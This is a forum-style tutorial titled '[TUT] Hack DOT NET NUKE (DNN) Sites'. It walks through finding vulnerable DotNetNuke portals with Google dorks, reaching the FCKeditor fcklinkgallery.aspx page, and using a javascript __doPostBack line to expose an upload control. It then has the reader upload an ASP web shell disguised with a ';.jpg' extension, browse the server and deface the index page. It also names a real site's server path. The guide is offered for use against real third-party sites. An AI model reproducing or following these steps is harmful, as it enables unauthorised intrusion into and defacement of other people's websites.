[TUT] Hack DOT NET NUKE (DNN) Sites

Bài liên quan

Step 1 :  
Get a ASP shell from

  Here 
Step 2 :  
Go to http://www.google.com

Step 2: Now enter this dork (this is Dork for find DNN sites)

:inurl:/tabid/36/language/en-US/Default.aspx

or
inurl:/Fck/fcklinkgallery.aspx

this is a dork to find the Portal Vulnerable sites, use it wisely.

Step 3:  
it will show you many sites, Copy any one of site.

Step 4:  
For example take this site.
Example:

http://www.target-site.com

Step 5:  Now Paste after the site url
this

/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

so Site is this :

http://www.traget-site.comt/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

so it will look like this (screenshot below)

Note:  if it shows you like this (see screenshot below) its mean site could not hacked find another site 

Now Click on  File ( A File On Your Site )

Step 8: Now replace the URL in the address bar with a Simple Script

javascript:__doPostBack(‘ctlURL$cmdUpload’,”)

Step 9: You will Find the Upload Option

Step 10: 
Select Root

Step 11: 
Upload your  ASP Shell
After upload
EXample : http://www.target-site.com/portals/0/umer.asp;.jpg
so now u have successfully uploaded shell (screenshot below)
Click on <Dir>…  again and again untill you will see admin

when it shows admin area page click on UPLOAD FILE TO C:\WEBSITES\WWW.ITSERVICESPRO.NET\WEBSITE\
and upload your deface index page
this is your result www.target-site.com/urpagename.html 

a 

If  you want to deface main page then click on Admin dir and search for index htm or html and click on Edit and copy your deface page code and replace there…:)